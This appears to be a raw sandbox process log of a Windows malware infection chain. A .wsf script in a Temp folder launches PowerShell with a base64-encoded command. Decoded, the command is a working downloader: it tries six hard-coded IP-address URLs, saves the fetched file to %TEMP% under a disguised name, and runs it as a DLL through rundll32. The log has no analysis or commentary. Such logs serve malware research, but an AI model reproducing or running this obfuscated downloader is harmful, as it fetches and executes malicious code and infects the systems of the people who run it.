wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Keep.QnUw617.wsf
3044powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQASgBhAGwAbwBwAHMAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AMQA1ADQALgA0ADcALgAxADcALgAxADgAMAAvAFAAegBTAHMAOQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA4ADcALgAyADMANgAuADEANAA2AC4AOQAzAC8AcQA3AHoAbQAxADMASQAwAGwASgBBAC4AZABhAHQALABoAHQAdABwADoALwAvADcAOQAuADEANAAxAC4AMQA3ADQALgAyADUAMwAvAFoAWQA0AEMAbQBwAGMAUQBwAGkALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANwAwAC4AMwA0AC4AMgAxADgALgA4ADUALwB1AHgAaQBsAEcAMwA5AHAAbABRAE0ALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQA0ADcALgAxADMANQAuADIANAA4AC4AMgA1ADAALwBYAGMAcABJAGkAVABhAC4AZABhAHQALABoAHQAdABwADoALwAvADcANAAuADEAMQA5AC4AMQA5ADMALgA0ADkALwB4AHAAaABtADYARwBVAHQAcQAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEIAdQBmAG8AbgBpAHQAZQAgAGkAbgAgACQASgBhAGwAbwBwAHMAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAEIAdQBmAG8AbgBpAHQAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwARQBkAHUAYwB0AGkAbwBuAHMAUABpAGMAdQBuAGMAaABlAC4AYQBtAGIAYQByAGUAZQBEAGUAYwBvAGQAbwBuADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwARQBkAHUAYwB0AGkAbwBuAHMAUABpAGMAdQBuAGMAaABlAC4AYQBtAGIAYQByAGUAZQBEAGUAYwBvAGQAbwBuACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAEUAZAB1AGMAdABpAG8AbgBzAFAAaQBjAHUAbgBjAGgAZQAuAGEAbQBiAGEAcgBlAGUARABlAGMAbwBkAG8AbgAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA0ADsAfQB9AA=="
2104